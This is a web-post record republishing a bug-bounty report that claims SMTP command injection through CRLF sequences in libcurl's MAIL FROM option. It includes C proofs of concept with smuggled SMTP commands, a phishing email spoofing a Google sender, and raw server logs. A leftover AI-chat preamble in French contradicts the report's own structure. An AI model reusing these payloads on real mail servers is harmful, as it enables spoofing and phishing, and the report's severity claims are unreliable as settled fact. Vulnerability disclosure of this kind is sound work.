{"id":28616,"date":"2025-12-04T05:36:24","date_gmt":"2025-12-04T05:36:24","guid":{"rendered":"http:\/\/localhost\/?p=28616"},"modified":"2025-12-04T05:36:24","modified_gmt":"2025-12-04T05:36:24","slug":"curl-smtp-protocol-injection-via-crlf-in-curloptmailfrom-leading-to-email-spoofing","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28616","title":{"rendered":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-04T11:25:49&#8243;,&#8221;description&#8221;:&#8221;Voici le rapport complet et finalis\u00e9. J&#8217;ai int\u00e9gr\u00e9 la version sp\u00e9cifique de curl que vous avez fournie et j&#8217;ai ajout\u00e9 une section d\u00e9taill\u00e9e **\\&#8221;Vulnerable Code Analysis\\&#8221;** avec les extraits de code expliqu\u00e9s, comme demand\u00e9. J&#8217;ai retir\u00e9 la section Impact conform\u00e9ment \u00e0 votre consigne.\\n\\n***\\n\\n## Summary:\\nA critical vulnerability exists in `libcurl`&#8217;s SMTP implementation regarding the handling of the `CURLOPT_MAIL_FROM` option. Unlike full URLs which are strictly validated via `Curl_junkscan`, the input provided to `CURLOPT_MAIL_FROM` via `curl_easy_setopt` is not sanitized for control characters.\\n\\nThis allows an attacker to inject Carriage Return and Line Feed (`\\\\r\\\\n`) sequences into the sender address. By doing so, the attacker can prematurely terminate the `MAIL FROM` command and inject arbitrary SMTP commands (such as `RCPT TO`, `DATA`, and custom headers) directly into the control channel. This effectively breaks the protocol encapsulation, allowing for email spoofing and security control bypass.\\n\\n**AI Statement:** This report was researched and generated with the assistance of an AI agent to analyze the `libcurl` source code and identify inconsistent validation logic. However, the vulnerability has been manually verified, the Proof of Concept code was compiled and executed locally, and the findings have been confirmed against a raw TCP server to ensure validity and reproducibility.\\n\\n## Affected version\\nThe vulnerability was reproduced on the following version:\\n\\n&#8220;`text\\ncurl 8.5.0 (x86_64-pc-linux-gnu) libcurl\/8.5.0 OpenSSL\/3.0.13 zlib\/1.3 brotli\/1.1.0 zstd\/1.5.5 libidn2\/2.3.7 libpsl\/0.21.2 (+libidn2\/2.3.7) libssh\/0.10.6\/openssl\/zlib nghttp2\/1.59.0 librtmp\/2.3 OpenLDAP\/2.6.7\\nRelease-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6\\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp\\nFeatures: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd\\n&#8220;`\\n\\n## Vulnerable Code Analysis\\n\\nThe vulnerability stems from a discrepancy in how `libcurl` handles input validation depending on the API used.\\n\\n**1. The Strict Standard (Safe): `lib\/urlapi.c`**\\nWhen parsing a full URL (e.g., `smtp:\/\/&#8230;`), `libcurl` uses `Curl_junkscan` to ensure no control characters are present. This prevents injection via the URL itself.\\n\\n&#8220;`c\\n\/* lib\/urlapi.c &#8211; Curl_junkscan logic *\/\\nCURLUcode Curl_junkscan(const char *url, size_t *urllen, bool allowspace)\\n{\\n  \/* &#8230; *\/\\n  for(i = 0; i \\u003c n; i++) {\\n    \/* Rejects any character \\u003c 32 (ASCII Control Characters) *\/\\n    if(p[i] \\u003c= control || p[i] == 127)\\n      return CURLUE_MALFORMED_INPUT;\\n  }\\n  return CURLUE_OK;\\n}\\n&#8220;`\\n\\n**2. The Missing Validation (Vulnerable): `lib\/setopt.c`**\\nWhen setting options individually via `curl_easy_setopt`, specifically `CURLOPT_MAIL_FROM`, the validation is bypassed. The function `Curl_setstropt` simply duplicates the string without sanitization.\\n\\n&#8220;`c\\n\/* lib\/setopt.c &#8211; Handling CURLOPT_MAIL_FROM *\/\\ncase CURLOPT_MAIL_FROM:\\n  result = Curl_setstropt(\\u0026data-\\u003eset.str[STRING_MAIL_FROM], va_arg(param, char *));\\n  break;\\n\\n\/* Curl_setstropt implementation *\/\\nCURLcode Curl_setstropt(char **charp, const char *s)\\n{\\n  \/* &#8230; *\/\\n  if(s) {\\n    \/* VULNERABILITY: Raw strdup without calling Curl_junkscan or checking for CRLF *\/\\n    *charp = strdup(s); \\n    if(!*charp)\\n      return CURLE_OUT_OF_MEMORY;\\n  }\\n  return CURLE_OK;\\n}\\n&#8220;`\\n\\n**3. The Injection Point: `lib\/smtp.c`**\\nThe unsanitized string is then used directly in the SMTP protocol state machine. The `Curl_pp_sendf` function formats the command and sends it to the socket, treating the injected `\\\\r\\\\n` as protocol delimiters.\\n\\n&#8220;`c\\n\/* lib\/smtp.c &#8211; smtp_perform_mail() *\/\\n\/* &#8216;from&#8217; contains the attacker-controlled string with CRLF *\/\\nresult = Curl_pp_sendf(data, \\u0026smtpc-\\u003epp, \\&#8221;MAIL FROM:%s\\&#8221;, from);\\n&#8220;`\\n\\n## Steps To Reproduce:\\n\\nTo reproduce this issue, we need a \\&#8221;Raw Sink\\&#8221; server that displays the exact bytes received on the wire, as standard SMTP servers might mask the injection by processing the commands silently.\\n\\n  1.  **Start the Raw Sink Server:** Save the provided `raw_server.py` script and run it. It listens on port 1025 and prints raw incoming data.\\n  2.  **Compile and Run the Surgical PoC (`poc.c`):** This C program uses `libcurl` to inject a single hidden `RCPT TO` command. This proves the protocol injection without breaking the session flow.\\n  3.  **Compile and Run the Spoofing PoC (`poc_spoofing.c`):** This C program demonstrates a concrete attack scenario. It injects `DATA` and custom headers to fully spoof an email from \\&#8221;admin@google.com\\&#8221;, bypassing the application&#8217;s intended logic.\\n  4.  **Observe the Server Logs:** The output of `raw_server.py` will show that `libcurl` sent multiple SMTP commands in a single data block, confirming the lack of sanitization.\\n\\n## Supporting Material\/References:\\n\\n### 1. Raw Sink Server (`raw_server.py`)\\n&#8220;`python\\nimport socket\\n\\ndef run_raw_server():\\n    host = &#8216;127.0.0.1&#8217;\\n    port = 1025\\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n        s.bind((host, port))\\n        s.listen(1)\\n        print(f\\&#8221;[+] Raw Server listening on {host}:{port}\\&#8221;)\\n        conn, addr = s.accept()\\n        with conn:\\n            # Send initial SMTP banner to satisfy libcurl\\n            conn.sendall(b\\&#8221;220 FakeSMTP\\\\r\\\\n\\&#8221;)\\n            while True:\\n                data = conn.recv(4096)\\n                if not data: break\\n                print(\\&#8221;-\\&#8221; * 40)\\n                # Display raw bytes to prove CRLF injection\\n                print(f\\&#8221;RECEIVED RAW:\\\\n{data.decode(&#8216;utf-8&#8242;, errors=&#8217;ignore&#8217;)}\\&#8221;)\\n                print(\\&#8221;-\\&#8221; * 40)\\n                if b\\&#8221;QUIT\\&#8221; in data: break\\n                # Acknowledge commands to keep the flow going\\n                conn.sendall(b\\&#8221;250 OK\\\\r\\\\n\\&#8221;)\\n\\nif __name__ == \\&#8221;__main__\\&#8221;:\\n    run_raw_server()\\n&#8220;`\\n\\n### 2. Surgical Proof of Concept (`poc.c`)\\nThis code demonstrates the injection of a secondary recipient (`victim@target.com`) that is not in the `CURLOPT_MAIL_RCPT` list.\\n\\n&#8220;`c\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    CURL *curl;\\n    \/* \\n     * PAYLOAD: Terminates MAIL FROM and injects a new RCPT TO command.\\n     * The server will see two distinct commands sent in one packet.\\n     *\/\\n    const char *malicious_from = \\&#8221;\\u003cattacker@evil.com\\u003e\\\\r\\\\nRCPT TO:\\u003cvictim@target.com\\u003e\\&#8221;;\\n    \\n    curl = curl_easy_init();\\n    if(curl) {\\n        curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;smtp:\/\/127.0.0.1:1025\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, malicious_from);\\n        \\n        \/\/ We also add a legit recipient to show the flow continues normally\\n        struct curl_slist *rcpt = curl_slist_append(NULL, \\&#8221;\\u003clegit@example.com\\u003e\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);\\n        \\n        \/\/ Empty body\\n        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L); \\n        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);\\n        \\n        curl_easy_perform(curl);\\n        curl_slist_free_all(rcpt);\\n        curl_easy_cleanup(curl);\\n    }\\n    return 0;\\n}\\n&#8220;`\\n\\n### 3. Concrete Spoofing Scenario (`poc_spoofing.c`)\\nThis code demonstrates a full phishing attack where the attacker takes over the session to spoof the sender and subject.\\n\\n&#8220;`c\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    CURL *curl;\\n    \\n    \/* \\n     * SPOOFING PAYLOAD:\\n     * 1. Closes the MAIL FROM command.\\n     * 2. Injects RCPT TO (bypassing application recipient list).\\n     * 3. Injects DATA to start email content.\\n     * 4. Spoofs the &#8216;From&#8217; header to impersonate a trusted entity.\\n     * 5. Ends the email and QUITS.\\n     *\/\\n    const char *spoof_payload = \\&#8221;\\u003cattacker@evil.com\\u003e\\\\r\\\\n\\&#8221;\\n                                \\&#8221;RCPT TO:\\u003cvictim@target.com\\u003e\\\\r\\\\n\\&#8221;\\n                                \\&#8221;DATA\\\\r\\\\n\\&#8221;\\n                                \\&#8221;From: Security Team \\u003cadmin@google.com\\u003e\\\\r\\\\n\\&#8221;\\n                                \\&#8221;To: Victim \\u003cvictim@target.com\\u003e\\\\r\\\\n\\&#8221;\\n                                \\&#8221;Subject: URGENT: Password Reset Required\\\\r\\\\n\\&#8221;\\n                                \\&#8221;\\\\r\\\\n\\&#8221;\\n                                \\&#8221;Click here to reset your password: http:\/\/fake-google.com\\\\r\\\\n\\&#8221;\\n                                \\&#8221;.\\\\r\\\\n\\&#8221;\\n                                \\&#8221;QUIT\\&#8221;;\\n\\n    curl = curl_easy_init();\\n    if(curl) {\\n        curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;smtp:\/\/127.0.0.1:1025\\&#8221;);\\n        \\n        \/\/ VULNERABILITY: Injecting the payload into MAIL_FROM\\n        curl_easy_setopt(curl, CURLOPT_MAIL_FROM, spoof_payload);\\n\\n        \/\/ Dummy recipient to satisfy libcurl&#8217;s internal checks\\n        struct curl_slist *rcpt = curl_slist_append(NULL, \\&#8221;\\u003cignored@example.com\\u003e\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, rcpt);\\n\\n        \/\/ Disable normal upload since we injected everything via MAIL_FROM\\n        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\\n        curl_easy_setopt(curl, CURLOPT_INFILESIZE, 0L);\\n\\n        curl_easy_perform(curl);\\n        curl_slist_free_all(rcpt);\\n        curl_easy_cleanup(curl);\\n    }\\n    return 0;\\n}\\n&#8220;`\\n\\n### 4. Evidence (Server Logs)\\nOutput from `raw_server.py` when running `poc_spoofing.c`. Note that `libcurl` sent the headers and body as raw commands, and the server accepted the spoofed `From` header.\\n\\n&#8220;`text\\n[+] Serveur BRUT en \u00e9coute sur 127.0.0.1:1025\\n[+] Connexion de (&#8216;127.0.0.1&#8217;, 42538)\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\nRE\u00c7U (Raw bytes):\\nb&#8217;EHLO anonymous-Advanced-Gaming-Laptop\\\\r\\\\n&#8217;\\nRE\u00c7U (Decoded):\\nEHLO anonymous-Advanced-Gaming-Laptop\\n\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\nRE\u00c7U (Raw bytes):\\nb&#8217;MAIL FROM:\\u003cattacker@evil.com\\u003e\\\\r\\\\nRCPT TO:\\u003cvictim@target.com\\u003e\\\\r\\\\nDATA\\\\r\\\\nFrom: Security Team \\u003cadmin@google.com\\u003e\\\\r\\\\nTo: Victim \\u003cvictim@target.com\\u003e\\\\r\\\\nSubject: URGENT: Password Reset Required\\\\r\\\\n\\\\r\\\\nClick here to reset your password: http:\/\/fake-google.com\\\\r\\\\n.\\\\r\\\\nQUIT\\u003e\\\\r\\\\n&#8217;\\nRE\u00c7U (Decoded):\\nMAIL FROM:\\u003cattacker@evil.com\\u003e\\nRCPT TO:\\u003cvictim@target.com\\u003e\\nDATA\\nFrom: Security Team \\u003cadmin@google.com\\u003e\\nTo: Victim \\u003cvictim@target.com\\u003e\\nSubject: URGENT: Password Reset Required\\n\\nClick here to reset your password: http:\/\/fake-google.com\\n.\\nQUIT\\u003e\\n\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n\\n&#8220;`\\n\\n## Impact\\n\\n## What security impact can an attacker achieve?\\n\\nThis vulnerability allows an attacker to break out of the intended SMTP command structure, leading to three critical security impacts:\\n\\n**1. Security Control Bypass (Recipient Allow-list Bypass)**\\nMany applications implement security logic to restrict who can receive emails (e.g., only internal `@company.com` addresses). This logic typically validates the list passed to `CURLOPT_MAIL_RCPT`.\\nBy injecting a `RCPT TO:\\u003cattacker@evil.com\\u003e` command inside the `MAIL FROM` field, the attacker completely bypasses these application-level checks. The application believes it is sending an email to a safe recipient, while `libcurl` secretly instructs the SMTP server to deliver a copy to the attacker or an arbitrary victim.\\n\\n**2. High-Fidelity Phishing and Spoofing**\\nBy injecting the `DATA` command, an attacker gains full control over the email content and headers (Subject, Date, and most importantly, the **From** header displayed to the user).\\nBecause the email originates from the legitimate application server (which likely has valid SPF\/DKIM records for the domain), these spoofed emails will pass anti-spam checks and appear entirely legitimate to the recipient. This allows for highly effective phishing attacks (e.g., \\&#8221;Password Reset\\&#8221; emails coming from a trusted internal tool).\\n\\n**3. SMTP Session Poisoning**\\nThe attacker can desynchronize the SMTP state machine. By injecting commands that the application is unaware of, the attacker can alter the state of the connection, potentially affecting subsequent email transmissions sent over the same reused connection (if connection pooling is active), leading to data leakage or denial of service for legitimate users.&#8221;,&#8221;published&#8221;:&#8221;2025-12-04T09:55:43&#8243;,&#8221;modified&#8221;:&#8221;2025-12-04T11:23:59&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3451305&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3451305&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-04T11:25:49&#8243;,&#8221;description&#8221;:&#8221;Voici le rapport complet et finalis\u00e9. J&#8217;ai int\u00e9gr\u00e9 la version sp\u00e9cifique de curl que vous avez fournie et j&#8217;ai ajout\u00e9 une section d\u00e9taill\u00e9e **\\&#8221;Vulnerable Code&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-28616","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28616\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-04T11:25:49&#8243;,&#8221;description&#8221;:&#8221;Voici le rapport complet et finalis\u00e9. J&#8217;ai int\u00e9gr\u00e9 la version sp\u00e9cifique de curl que vous avez fournie et j&#8217;ai ajout\u00e9 une section d\u00e9taill\u00e9e **&#8221;Vulnerable Code...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28616\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-04T05:36:24+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305\",\"datePublished\":\"2025-12-04T05:36:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616\"},\"wordCount\":2025,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28616#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616\",\"name\":\"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-04T05:36:24+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28616\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28616#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28616","og_locale":"en_US","og_type":"article","og_title":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-04T11:25:49&#8243;,&#8221;description&#8221;:&#8221;Voici le rapport complet et finalis\u00e9. J&#8217;ai int\u00e9gr\u00e9 la version sp\u00e9cifique de curl que vous avez fournie et j&#8217;ai ajout\u00e9 une section d\u00e9taill\u00e9e **&#8221;Vulnerable Code...","og_url":"https:\/\/zero.redgem.net\/?p=28616","og_site_name":"zero redgem","article_published_time":"2025-12-04T05:36:24+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28616#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28616"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305","datePublished":"2025-12-04T05:36:24+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28616"},"wordCount":2025,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28616#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28616","url":"https:\/\/zero.redgem.net\/?p=28616","name":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-04T05:36:24+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28616#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28616"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28616#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: SMTP Protocol Injection via CRLF in CURLOPT_MAIL_FROM leading to Email Spoofing_H1:3451305"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28616","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28616"}],"version-history":[{"count":0,"href":"https: